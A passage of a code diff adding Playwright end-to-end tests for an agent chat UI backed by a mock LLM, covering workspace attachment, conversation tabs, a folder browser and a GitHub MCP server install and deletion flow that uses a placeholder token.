+    // The npm path inherits the host repo; the Docker path bootstraps one.
+    const gitBootstrap = [
+      "git rev-parse --is-inside-work-tree >/dev/null 2>&1 || git init",
+      // Must configure user.name/email — Docker containers may not have them.
+      "git config user.email test@test.com",
+      "git config user.name test",
+      `git remote get-url origin >/dev/null 2>&1 || git remote add origin https://github.com/${EXPECTED_REPO_SLUG}.git`,
+      "git rev-parse --verify HEAD >/dev/null 2>&1 || git commit --allow-empty -m init",
+    ].join(" && ");
+    await registerTrajectory(request, "files-and-git", [
+      {
+        tool_call: {
+          name: "terminal",
+          arguments: {
+            command: `${gitBootstrap}; printf 'MOCK_LLM_E2E_BASH_OK\\n'`,
+          },
+        },
+      },
+      { text: REPLY_TOKEN },
+    ]);
+    await activateTrajectory(request, "files-and-git");
+  });
+
+  // ── Step 2: Start a conversation and seed workspace attachment ──────
+
+  test("step 2: start conversation and attach workspace metadata", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(120_000);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "home-chat-launcher");
+
+    // Type and send a message from the home page launcher
+    await page.evaluate(
+      ({ testId, text }) => {
+        const el = document.querySelector(`[data-testid="${testId}"]`);
+        if (!(el instanceof HTMLElement))
+          throw new Error("Chat input not found");
+        el.focus();
+        el.textContent = text;
+        el.dispatchEvent(
+          new InputEvent("input", {
+            bubbles: true,
+            data: text,
+            inputType: "insertText",
+          }),
+        );
+      },
+      { testId: "chat-input", text: USER_MESSAGE },
+    );
+    await page.getByTestId("submit-button").click();
+
+    // Wait for navigation to the conversation page
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+    attachedConversationId = conversationId;
+
+    // Wait for the agent to finish replying so the conversation is fully
+    // initialized (WebSocket connected, runtime ready).
+    await waitForNonUserMessageText(page, REPLY_TOKEN, 60_000);
+
+    await seedWorkspaceMetadata(page, conversationId, WORKSPACE_PATH);
+
+    // Reload so hooks re-read from localStorage
+    await page.reload({ waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the conversation to load again
+    await waitForTestId(page, "chat-interface", 30_000);
+  });
+
+  // ── Step 3: Verify overview shows workspace / git identity ─────────
+
+  test("step 3: conversation overview shows workspace and git identity", async ({
+    page,
+  }) => {
+    test.skip(!attachedConversationId, "step 2 must complete first");
+    test.setTimeout(60_000);
+
+    await seedWorkspaceMetadata(page, attachedConversationId!, WORKSPACE_PATH);
+    await routeSessionApiKey(page);
+    await page.goto(`/conversations/${attachedConversationId}`, {
+      waitUntil: "domcontentloaded",
+    });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "chat-interface", 30_000);
+
+    const workspaceName = WORKSPACE_PATH.replace(/\/+$/, "").split("/").pop()!;
+
+    // Composer no longer hosts the git rail; identity lives in overview.
+    await test.step("composer has no git control rail", async () => {
+      await expect(
+        page.getByTestId("interactive-chat-box").getByRole("button", {
+          name: /^(Pull|Push|Create PR|Connect Repo)$/i,
+        }),
+      ).toHaveCount(0);
+    });
+
+    await test.step("open conversation overview", async () => {
+      const toggle = page.getByTestId("conversation-overview-toggle");
+      await expect(toggle).toBeVisible({ timeout: 10_000 });
+      await toggle.click();
+      await waitForTestId(page, "conversation-overview-panel", 10_000);
+    });
+
+    await test.step("verify workspace row shows folder basename", async () => {
+      const workspaceRow = page.getByTestId("conversation-overview-workspace");
+      await expect(workspaceRow).toBeVisible({ timeout: 10_000 });
+      await expect(workspaceRow).toContainText(workspaceName);
+    });
+
+    // When useLocalGitInfo detects a remote (trajectory ran git init +
+    // remote add in step 2), the overview git section surfaces the repo
+    // slug. In Docker the bash WebSocket probe may be slower — soft-check.
+    await test.step("check for overview git repo (git detection)", async () => {
+      const repoRow = page.getByTestId("conversation-overview-git-repo");
+      try {
+        await expect(repoRow).toBeVisible({ timeout: 20_000 });
+        await expect(repoRow).toContainText(EXPECTED_REPO_SLUG);
+      } catch {
+        console.log(
+          "Overview git repo not visible — git probe likely still pending",
+        );
+      }
+    });
+  });
+
+  // ── Step 4: Verify Commits tab is available for attached workspace ─
+
+  test("step 4: commits tab opens for attached workspace", async ({ page }) => {
+    test.skip(!attachedConversationId, "step 2 must complete first");
+    test.setTimeout(60_000);
+
+    await seedWorkspaceMetadata(page, attachedConversationId!, WORKSPACE_PATH);
+    await routeSessionApiKey(page);
+    await page.goto(`/conversations/${attachedConversationId}`, {
+      waitUntil: "domcontentloaded",
+    });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "chat-interface", 30_000);
+
+    await test.step("open right panel and Commits tab", async () => {
+      const toggle = page.getByTestId("right-panel-toggle");
+      await expect(toggle).toBeVisible({ timeout: 10_000 });
+      await toggle.click({ force: true });
+      await expect(toggle).toHaveAttribute("aria-pressed", "true", {
+        timeout: 10_000,
+      });
+
+      const anyTab = page.locator('[data-testid^="conversation-tab-"]').first();
+      await expect(anyTab).toBeVisible({ timeout: 10_000 });
+
+      // Commits may be overflowed into the ⋯ menu on narrow viewports.
+      const commitsTab = page.getByTestId("conversation-tab-commits");
+      if (await commitsTab.isVisible().catch(() => false)) {
+        await commitsTab.click();
+      } else {
+        await page.getByTestId("ellipsis-button").click();
+        await page.getByTestId("conversation-tabs-menu-open-commits").click();
+      }
+      await expect(page.getByTestId("conversation-tab-commits")).toBeVisible({
+        timeout: 15_000,
+      });
+    });
+  });
+
+  // ── Step 5: Verify Browser tab shows empty state ───────────────────
+
+  test("step 5: browser tab shows empty state", async ({ page }) => {
+    test.skip(!attachedConversationId, "step 2 must complete first");
+    test.setTimeout(60_000);
+
+    await routeSessionApiKey(page);
+    await page.goto(`/conversations/${attachedConversationId}`, {
+      waitUntil: "domcontentloaded",
+    });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "chat-interface", 30_000);
+
+    // Open the right panel and wait for the drawer animation to settle
+    await test.step("open right panel", async () => {
+      const toggle = page.getByTestId("right-panel-toggle");
+      await expect(toggle).toBeVisible({ timeout: 10_000 });
+      await toggle.click();
+      await page.waitForTimeout(500);
+    });
+
+    // Click the Browser tab
+    await test.step("click browser tab", async () => {
+      const browserTab = page.getByTestId("conversation-tab-browser");
+      await expect(browserTab).toBeVisible({ timeout: 10_000 });
+      await browserTab.click();
+    });
+
+    await test.step("verify empty browser message", async () => {
+      // The EmptyBrowserMessage renders the "No page loaded yet" message.
+      // We assert on the text rather than a test-id since the component
+      // uses the shared ConversationTabEmptyState without its own id.
+      await expect(
+        page.getByText("No page loaded yet", { exact: false }),
+      ).toBeVisible({ timeout: 10_000 });
+    });
+  });
+
+  // ── Step 6: Verify Files tab defaults to file-tree when no workspace ─
+
+  test("step 6: files tab defaults to file-tree view without attached workspace", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(120_000);
+
+    // Fresh trajectory — step 2's conversation consumed the previous one.
+    await resetMockLLM(request);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "home-chat-launcher");
+
+    // Start a brand-new conversation WITHOUT seeding any workspace metadata
+    await page.evaluate(
+      ({ testId, text }) => {
+        const el = document.querySelector(`[data-testid="${testId}"]`);
+        if (!(el instanceof HTMLElement))
+          throw new Error("Chat input not found");
+        el.focus();
+        el.textContent = text;
+        el.dispatchEvent(
+          new InputEvent("input", {
+            bubbles: true,
+            data: text,
+            inputType: "insertText",
+          }),
+        );
+      },
+      { testId: "chat-input", text: USER_MESSAGE },
+    );
+    await page.getByTestId("submit-button").click();
+
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    // Wait for the agent to reply
+    await waitForNonUserMessageText(page, REPLY_TOKEN, 60_000);
+
+    // Open the right panel and wait for the drawer animation to settle
+    await test.step("open right panel", async () => {
+      const toggle = page.getByTestId("right-panel-toggle");
+      await expect(toggle).toBeVisible({ timeout: 10_000 });
+      await toggle.click();
+      await page.waitForTimeout(500);
+    });
+
+    // Ensure the Files surface is showing. Opening the drawer already
+    // defaults the selection to Files, and clicking the active tab again
+    // deliberately closes the drawer (see useSelectConversationTab), so only
+    // click when the Files panel is not already visible.
+    await test.step("ensure files tab is active", async () => {
+      const filesTab = page.getByTestId("conversation-tab-files");
+      await expect(filesTab).toBeVisible({ timeout: 10_000 });
+      if (!(await page.getByTestId("files-tab").isVisible())) {
+        await filesTab.click();
+        await page.waitForTimeout(300);
+      }
+    });
+
+    await test.step("verify files tab shows file browser (not diff)", async () => {
+      await expect(page.getByTestId("files-tab")).toBeVisible({
+        timeout: 15_000,
+      });
+      // The file browser's tab strip renders once loading settles; the
+      // content mode toggle only appears after a file is opened, and the
+      // legacy Diff/Commits toggle is gone from the Files surface.
+      await expect(page.getByTestId("file-quick-row")).toBeVisible({
+        timeout: 10_000,
+      });
+      await expect(page.getByTestId("files-tab-content")).toBeVisible({
+        timeout: 10_000,
+      });
+      await expect(
+        page.getByTestId("files-tab-content-mode-toggle"),
+      ).toHaveCount(0);
+      await expect(page.getByTestId("files-tab-diff-toggle")).toHaveCount(0);
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/home/mock-llm-folder-workspace.spec.ts b/tests/e2e/mock-llm/home/mock-llm-folder-workspace.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c23e105f871807a3fe5bb761fdc70eb570b68d49
--- /dev/null
+++ b/tests/e2e/mock-llm/home/mock-llm-folder-workspace.spec.ts
@@ -0,0 +1,288 @@
+/**
+ * Mock-LLM E2E test: folder browsing → workspace selection → conversation creation.
+ *
+ * Covers two "I can" statements from issue #511:
+ *   - "I can browse local files and folders to choose where to begin"
+ *   - "I can start a conversation against a local Git repo without typing the path"
+ *
+ * Flow (serial):
+ *   1. Open the folder browser, navigate to a known test directory, click
+ *      "Use this folder" — verify the workspace is auto-selected
+ *   2. Confirm the workspace, type a message, submit — intercept
+ *      POST /api/conversations and assert workspace.working_dir matches
+ *      the selected folder path
+ *   3. After conversation creation, verify selected_workspace is persisted
+ *      in localStorage under the conversation's metadata key
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  ensureMockLLMProfile,
+  resetMockLLM,
+  deleteConversation,
+} from "../utils/mock-llm-helpers";
+import * as fs from "fs";
+import {
+  getFolderBrowserPathSegments,
+  getFolderBrowserRootPath,
+  resolveFolderWorkspacePaths,
+  TEST_DIR_NAME,
+} from "../utils/folder-workspace-paths";
+
+/**
+ * The folder-workspace test creates a directory that the agent-server's folder
+ * browser must be able to list.
+ *
+ * **Docker mode**: The Docker config volume-mounts a host dir into the
+ * container at /tmp/e2e-folder-workspace-test, and sets two env vars:
+ *   - MOCK_LLM_FOLDER_WORKSPACE_HOST_DIR — host-side path for fs.mkdirSync
+ *   - MOCK_LLM_FOLDER_WORKSPACE_CONTAINER_DIR — container-side path the
+ *     folder browser navigates to
+ *
+ * **npm mode**: Host IS the agent-server, so both paths resolve identically
+ * via os.tmpdir().
+ */
+const {
+  hostDirBase: HOST_DIR_BASE,
+  hostDir: HOST_DIR,
+  testDir: TEST_DIR,
+} = resolveFolderWorkspacePaths();
+
+const METADATA_STORAGE_KEY = "openhands-agent-server-conversation-metadata";
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM folder browser → workspace → conversation", () => {
+  const conversationIds = new Set<string>();
+
+  test.beforeAll(async ({ browser }) => {
+    // Create the test directory hierarchy (host-side path for Docker compat)
+    fs.mkdirSync(HOST_DIR, { recursive: true });
+
+    // Ensure the mock LLM profile is configured so conversations can start.
+    // beforeAll only has worker-scoped fixtures, so create a temporary page.
+    const page = await browser.newPage();
+    try {
+      await seedLocalStorage(page);
+      await ensureMockLLMProfile(page);
+    } finally {
+      await page.close();
+    }
+  });
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ request }) => {
+    await resetMockLLM(request);
+
+    // Cleanup conversations created during the test
+    for (const id of conversationIds) {
+      try {
+        await deleteConversation(request, id);
+      } catch {
+        // best-effort
+      }
+    }
+    conversationIds.clear();
+  });
+
+  test.afterAll(async () => {
+    // Remove the test directory (host-side path)
+    try {
+      fs.rmSync(HOST_DIR_BASE, { recursive: true, force: true });
+    } catch {
+      // best-effort
+    }
+  });
+
+  // ── Step 1: Browse to a folder and add it as a workspace ────────────
+
+  test("step 1: browse to a folder, add it as a workspace, and launch a conversation with the correct working_dir", async ({
+    page,
+  }) => {
+    // Set up passive listener for POST /api/conversations BEFORE navigation.
+    // Uses page.on('request') (not page.route) to avoid conflicts with
+    // routeSessionApiKey — only one handler can call continue() per request.
+    let capturedPayload: Record<string, unknown> | null = null;
+    const captureConversationPayload = (
+      req: import("@playwright/test").Request,
+    ) => {
+      if (
+        req.method() === "POST" &&
+        new URL(req.url()).pathname === "/api/conversations"
+      ) {
+        try {
+          capturedPayload = req.postDataJSON();
+        } catch {
+          // non-JSON body
+        }
+      }
+    };
+    page.on("request", captureConversationPayload);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "home-chat-launcher");
+
+    // ── Open the "Open Workspace" dialog ──
+    await test.step("open workspace dialog", async () => {
+      await page.getByTestId("open-workspace-button").click();
+      await expect(page.getByTestId("open-workspace-dialog-body")).toBeVisible({
+        timeout: 10_000,
+      });
+    });
+
+    // ── Browse to the test directory using the folder browser UI ──
+    await test.step("open folder browser and navigate to test directory", async () => {
+      // The "Add Workspaces" button is inside the dropdown's sticky footer,
+      // so we must open the dropdown first.
+      await page.getByTestId("workspace-dropdown").click();
+      await page.getByTestId("add-workspaces-button").click();
+      await expect(page.getByTestId("folder-browser-modal")).toBeVisible({
+        timeout: 10_000,
+      });
+
+      // Navigate up to root first — click the "up" button repeatedly
+      // until we reach "/" (path shows "/" or up button is disabled).
+      const upBtn = page.getByTestId("folder-browser-up");
+      const currentPathEl = page.getByTestId("folder-browser-current-path");
+      const rootPath = getFolderBrowserRootPath(TEST_DIR);
+
+      // Wait for the modal to finish initializing. `currentPath` starts as
+      // null (rendering an empty path and a disabled up button) until
+      // useHomeDirectory resolves and seeds the home path via useEffect.
+      // Without this wait the while-loop below can see the briefly-disabled
+      // up button and exit immediately, leaving us stuck at home instead of
+      // navigating to root.
+      await expect(currentPathEl).not.toHaveText("", { timeout: 10_000 });
+
+      // Keep clicking up until the button becomes disabled (at root).
+      while (!(await upBtn.isDisabled())) {
+        await upBtn.click();
+        await page.waitForTimeout(300);
+      }
+      await expect(currentPathEl).toHaveText(rootPath, { timeout: 5_000 });
+
+      // Navigate down through each segment of the test directory path.
+      // e.g. /tmp/e2e-folder-workspace-test/my-test-project → ["tmp", "e2e-...", "my-test-project"]
+      const segments = getFolderBrowserPathSegments(TEST_DIR);
+      for (const segment of segments) {
+        const entry = page.getByTestId(`folder-browser-entry-${segment}`);
+        await expect(entry).toBeVisible({ timeout: 10_000 });
+        await entry.click();
+      }
+
+      // Verify we're at the correct path
+      await expect(currentPathEl).toHaveText(TEST_DIR, { timeout: 5_000 });
+
+      // Click "Use this folder"
+      await page.getByTestId("folder-browser-use").click();
+
+      // Modal should close
+      await expect(page.getByTestId("folder-browser-modal")).toBeHidden({
+        timeout: 5_000,
+      });
+    });
+
+    // ── Confirm the selected workspace ──
+    // The workspace dialog is still open after the folder browser closed.
+    // Adding the folder auto-selects the new workspace, so wait for that
+    // selection instead of reopening the dropdown and looking for an option
+    // that is only rendered while the menu is open.
+    await test.step("confirm the auto-selected workspace", async () => {
+      await expect(page.getByTestId("open-workspace-dialog-body")).toBeVisible({
+        timeout: 10_000,
+      });
+
+      const dropdown = page.getByTestId("workspace-dropdown");
+      await expect(dropdown).toBeVisible({ timeout: 10_000 });
+      await expect(dropdown).toHaveValue(TEST_DIR_NAME, { timeout: 10_000 });
+
+      const confirmBtn = page.getByRole("button", { name: /confirm/i });
+      await confirmBtn.click();
+
+      await expect(page.getByTestId("open-workspace-dialog-body")).toBeHidden({
+        timeout: 5_000,
+      });
+    });
+
+    // ── Type a message and submit to create a conversation ──
+    await test.step("submit a message to create a conversation", async () => {
+      // Type into the home-page chat input (contentEditable div)
+      const chatInput = page
+        .getByTestId("home-chat-launcher")
+        .locator('[contenteditable="true"]');
+      await expect(chatInput).toBeVisible({ timeout: 10_000 });
+      await chatInput.click();
+
+      await page.evaluate((msg: string) => {
+        const el = document.querySelector(
+          '[data-testid="home-chat-launcher"] [contenteditable="true"]',
+        );
+        if (el) {
+          el.textContent = msg;
+          el.dispatchEvent(new Event("input", { bubbles: true }));
+        }
+      }, "Hello from the workspace test");
+
+      // Submit with Enter
+      await chatInput.press("Enter");
+
+      // Wait for navigation to a conversation page
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    // Track the conversation for cleanup
+    const match = page.url().match(/\/conversations\/([^/?#]+)/);
+    const conversationId = match?.[1] ? decodeURIComponent(match[1]) : null;
+    expect(conversationId, "Should be on a conversation page").toBeTruthy();
+    conversationIds.add(conversationId!);
+
+    // ── Verify: POST /api/conversations payload has correct working_dir ──
+    await test.step("verify working_dir in POST /api/conversations payload", async () => {
+      expect(
+        capturedPayload,
+        "POST /api/conversations payload was not captured",
+      ).not.toBeNull();
+
+      const workspace = capturedPayload?.workspace as
+        | Record<string, unknown>
+        | undefined;
+      expect(workspace, "payload should have a workspace object").toBeTruthy();
+      expect(workspace?.working_dir).toBe(TEST_DIR);
+    });
+
+    // ── Verify: selected_workspace in localStorage ──
+    await test.step("verify selected_workspace in localStorage", async () => {
+      const metadata = await page.evaluate(
+        ({ key, convId }) => {
+          const raw = window.localStorage.getItem(key);
+          if (!raw) return null;
+          try {
+            const parsed = JSON.parse(raw);
+            return parsed[convId] ?? null;
+          } catch {
+            return null;
+          }
+        },
+        { key: METADATA_STORAGE_KEY, convId: conversationId! },
+      );
+
+      expect(
+        metadata,
+        `localStorage metadata for conversation ${conversationId} should exist`,
+      ).not.toBeNull();
+      expect(metadata?.selected_workspace).toBe(TEST_DIR);
+    });
+
+    page.off("request", captureConversationPayload);
+  });
+});
diff --git a/tests/e2e/mock-llm/mcp/mock-llm-mcp-github.spec.ts b/tests/e2e/mock-llm/mcp/mock-llm-mcp-github.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..282775eef7665fa0a39d94632d417c8db064525b
--- /dev/null
+++ b/tests/e2e/mock-llm/mcp/mock-llm-mcp-github.spec.ts
@@ -0,0 +1,362 @@
+/**
+ * Mock-LLM E2E test: GitHub MCP server install via the MCP marketplace UI.
+ *
+ * This test exercises the full MCP install flow — navigating to the MCP page,
+ * finding the GitHub marketplace card, opening the install modal, filling in
+ * the PAT field, and submitting. The `POST /api/mcp/test` endpoint is
+ * intercepted to return a mock success response so the test doesn't need to
+ * contact GitHub's hosted MCP endpoint.
+ *
+ * Verifies:
+ *   1. The MCP page renders with the GitHub marketplace card visible
+ *   2. Clicking the add control opens the install modal with the hosted endpoint
+ *   3. Filling in the PAT and submitting succeeds (with mocked test endpoint)
+ *   4. After install the GitHub server appears in the installed list
+ *   5. The installed server can be deleted via the UI
+ */
+
+import { test, expect, type Page } from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  ensureMockLLMProfile,
+} from "../utils/mock-llm-helpers";
+
+const FAKE_PAT = "github_pat_test_1234567890abcdef";
+const GITHUB_HOSTED_MCP_URL = "https://api.githubcopilot.com/mcp/";
+
+test.describe.configure({ mode: "serial" });
+
+async function openGitHubInstallModal(page: Page) {
+  const modal = page.getByTestId("mcp-install-modal");
+
+  await expect(async () => {
+    await page.getByTestId("mcp-marketplace-toggle-github").click();
+    await expect(modal).toBeVisible({ timeout: 1_500 });
+  }).toPass({ timeout: 10_000 });
+
+  return modal;
+}
+
+test.describe("MCP GitHub server install flow", () => {
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ request }) => {
+    // Clear any MCP servers so subsequent tests start clean
+    await request
+      .patch(`${BACKEND_URL}/api/settings`, {
+        headers: {
+          "X-Session-API-Key": SESSION_API_KEY,
+          "Content-Type": "application/json",
+        },
+        data: { agent_settings_diff: { mcp_config: null } },
+      })
+      .catch(() => {});
+  });
+
+  test("step 1: GitHub card is visible on the MCP marketplace page", async ({
+    page,
+  }) => {
+    await routeSessionApiKey(page);
+    await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the marketplace section to render
+    await waitForTestId(page, "mcp-marketplace-section");
+    const marketplaceGrid = page.getByTestId("mcp-marketplace-grid");
+    await expect(marketplaceGrid).toBeVisible({ timeout: 10_000 });
+
+    // Verify the GitHub card exists
+    const githubCard = page.getByTestId("mcp-marketplace-card-github");
+    await expect(githubCard).toBeVisible();
+
+    // The card should display the name "GitHub"
+    await expect(githubCard).toContainText("GitHub");
+  });
+
+  test("step 2: clicking GitHub add control opens the install modal with correct fields", async ({
+    page,
+  }) => {
+    await routeSessionApiKey(page);
+    await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "mcp-marketplace-grid");
+
+    const modal = await openGitHubInstallModal(page);
+
+    // Verify the modal is for the GitHub entry
+    await expect(modal).toHaveAttribute("data-marketplace-id", "github");
+
+    // The modal should show the hosted streamable HTTP endpoint.
+    const urlField = page.getByTestId("mcp-install-field-url");
+    await expect(urlField).toBeVisible();
+    await expect(urlField).toHaveValue(GITHUB_HOSTED_MCP_URL);
+
+    // The PAT field should be present and empty.
+    const patField = page.getByTestId("mcp-install-field-api_key");
+    await expect(patField).toBeVisible();
+    await expect(patField).toHaveValue("");
+  });
+
+  test("step 3: full install flow — fill PAT, submit, verify installed", async ({
+    page,
+  }) => {
+    // We need an LLM profile configured for settings to work properly
+    await ensureMockLLMProfile(page);
+
+    await routeSessionApiKey(page);
+
+    // Intercept the MCP test endpoint to return success; the test environment
+    // should not contact GitHub's hosted MCP endpoint. Mirror the real
+    // agent-server success shape: `tools` (a required field) lists the
+    // advertised tools including the `get_me` credential probe, and
+    // `tool_result` carries that read-only probe's passing outcome.
+    await page.route("**/api/mcp/test", async (route) => {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({
+          ok: true,
+          tools: ["get_me", "list_issues"],
+          tool_result: { is_error: false, text: '{"login":"octocat"}' },
+        }),
+      });
+    });
+
+    await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "mcp-marketplace-grid");
+
+    const modal = await openGitHubInstallModal(page);
+
+    // Fill in the PAT — SettingsInput puts data-testid on the <input> directly
+    const patInput = page.getByTestId("mcp-install-field-api_key");
+    await patInput.fill(FAKE_PAT);
+
+    // Click install
+    await page.getByTestId("mcp-install-submit").click();
+
+    // The modal should close after successful install
+    await expect(modal).not.toBeVisible({ timeout: 10_000 });
+
+    // The GitHub server should now appear in the installed list
+    const installedList = page.getByTestId("mcp-installed-list");
+    await expect(installedList).toBeVisible({ timeout: 10_000 });
+
+    // The installed server card should exist
+    const serverItems = installedList.getByTestId("mcp-server-item");
+    await expect(serverItems.first()).toBeVisible();
+
+    // Verify via the settings API that the server was actually persisted
+    const settingsResp = await page.request.get(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+    });
+    expect(settingsResp.ok()).toBe(true);
+    const settings = await settingsResp.json();
+    const mcpConfig = settings?.agent_settings?.mcp_config;
+    expect(mcpConfig).toBeTruthy();
+
+    // The GitHub server should be stored as a hosted streamable HTTP server,
+    // keyed by the catalog slug ("github") so it is referenceable by name in
+    // mcp_server_refs — not the auto-generated "shttp" fallback. The settings
+    // API redacts persisted secrets, so the raw PAT must not be readable after
+    // installation.
+    expect(mcpConfig?.github).toMatchObject({
+      url: GITHUB_HOSTED_MCP_URL,
+      auth: { strategy: "api_key", value: "**********" },
+    });
+  });
+
+  test("step 4: installed GitHub server can be deleted", async ({ page }) => {
+    // First install the server via the API so we have something to delete
+    const installResp = await page.request.patch(
+      `${BACKEND_URL}/api/settings`,
+      {
+        headers: {
+          "X-Session-API-Key": SESSION_API_KEY,
+          "Content-Type": "application/json",
+        },
+        data: {
+          agent_settings_diff: {
+            mcp_config: {
+              github: {
+                url: GITHUB_HOSTED_MCP_URL,
+                auth: { strategy: "api_key", value: FAKE_PAT },
+              },
+            },
+          },
+        },
+      },
+    );
+    expect(installResp.ok()).toBe(true);
+
+    await routeSessionApiKey(page);
+    await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // The installed list should show the github server
+    const installedList = page.getByTestId("mcp-installed-list");
+    await expect(installedList).toBeVisible({ timeout: 10_000 });
+
+    const serverItem = installedList.getByTestId("mcp-server-item").first();
+    await expect(serverItem).toBeVisible();
+
+    await serverItem.click();
+    await expect(page.getByTestId("mcp-custom-editor")).toBeVisible({
+      timeout: 5_000,
+    });
+    await page.getByTestId("mcp-custom-editor-delete").click();
+
+    // A confirmation modal should appear — click confirm
+    const confirmButton = page.getByTestId("confirm-button");
+    await expect(confirmButton).toBeVisible({ timeout: 5_000 });
+    await confirmButton.click();
+
+    // After deletion the installed list should show the empty state
+    await expect(page.getByTestId("mcp-installed-empty")).toBeVisible({
+      timeout: 10_000,
+    });
+
+    // Verify via the settings API that the server was removed
+    const settingsResp = await page.request.get(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+    });
+    expect(settingsResp.ok()).toBe(true);
+    const settings = await settingsResp.json();
+    const mcpConfig = settings?.agent_settings?.mcp_config;
+    const githubStillPresent = mcpConfig?.github != null;
+    expect(githubStillPresent).toBe(false);
+  });
+
+  // @spec MCP-001 — Sparse mutations preserve sibling servers
+  test("regression: sibling create, edit, and delete preserve GitHub credentials with one MCP request each", async ({
+    page,
+  }) => {
+    test.setTimeout(120_000);
+    await ensureMockLLMProfile(page);
+    const installResp = await page.request.patch(
+      `${BACKEND_URL}/api/settings`,
+      {
+        headers: {
+          "X-Session-API-Key": SESSION_API_KEY,
+          "Content-Type": "application/json",
+        },
+        data: {
+          agent_settings_diff: {
+            mcp_config: {
+              github: {
+                transport: "http",
+                url: GITHUB_HOSTED_MCP_URL,
+                auth: { strategy: "api_key", value: FAKE_PAT },
+              },
+            },
+          },
+        },
+      },
+    );
+    expect(installResp.ok()).toBe(true);
+
+    await routeSessionApiKey(page);
+    const mcpTestBodies: Array<Record<string, unknown>> = [];
+    await page.route("**/api/mcp/test", async (route) => {
+      mcpTestBodies.push(route.request().postDataJSON());
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({
+          ok: true,
+          tools: ["get_me"],
+          tool_result: { is_error: false, text: '{"login":"octocat"}' },
+        }),
+      });
+    });
+
+    const mutationRequests: Array<{
+      method: string;
+      pathname: string;
+      body?: Record<string, unknown>;
+    }> = [];
+    page.on("request", (request) => {
+      const pathname = new URL(request.url()).pathname;
+      if (pathname.startsWith("/api/settings/mcp/")) {
+        mutationRequests.push({
+          method: request.method(),
+          pathname,
+          ...(request.postData() ? { body: request.postDataJSON() } : {}),
+        });
+      }
+    });
+
+    await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await expect(page.getByTestId("mcp-installed-list")).toBeVisible({
+      timeout: 10_000,
+    });
+
+    const verifyStoredGitHubCredential = async () => {
+      const before = mcpTestBodies.length;
+      await page.locator('[data-server-id="github"]').press("Enter");
+      await expect(page.getByTestId("mcp-custom-editor")).toBeVisible();
+      await page.getByTestId("mcp-test-connection").click();
+      await expect(page.getByTestId("mcp-test-message")).toBeVisible();
+      expect(mcpTestBodies).toHaveLength(before + 1);
+      const request = mcpTestBodies.at(-1) as {
+        name?: string;
+        server?: {
+          type?: string;
+          auth?: { strategy?: string; value?: string };
+        };
+      };
+      expect(request.name).toBe("github");
+      expect(request.server).toMatchObject({
+        type: "http",
+        auth: { strategy: "api_key" },
+      });
+      expect(request.server?.auth?.value).toBeTruthy();
+      expect(request.server?.auth?.value).not.toBe("**********");
+      expect(request.server?.auth?.value).not.toBe(FAKE_PAT);
+      await page.getByTestId("mcp-custom-editor-close").click();
+      await expect(page.getByTestId("mcp-custom-editor")).not.toBeVisible();
+    };
+
+    await page.getByTestId("mcp-add-custom-server").click();
+    await page.getByTestId("server-name-input").fill("docs");
+    await page.getByTestId("url-input").fill("https://docs.example/mcp");
+    await page.getByTestId("submit-button").click();
+    await expect(page.getByTestId("mcp-custom-editor")).not.toBeVisible();
+    await page.locator('[data-server-id="docs"]').press("Enter");
+    await page.getByTestId("url-input").fill("https://docs.example/v2/mcp");
+    await page.getByTestId("submit-button").click();
+    await expect(page.getByTestId("mcp-custom-editor")).not.toBeVisible();
+    await page.locator('[data-server-id="docs"]').press("Enter");
+    await page.getByTestId("mcp-custom-editor-delete").click();
+    await page.getByTestId("confirm-button").click();
+    await expect(page.locator('[data-server-id="docs"]')).not.toBeVisible();
+    expect(mutationRequests.map(({ method, pathname }) => `${method} ${pathname}`)).toEqual([
+      "POST /api/settings/mcp/docs",
+      "PATCH /api/settings/mcp/docs",
+      "DELETE /api/settings/mcp/docs",
+    ]);
+    expect(JSON.stringify(mutationRequests)).not.toContain("github");
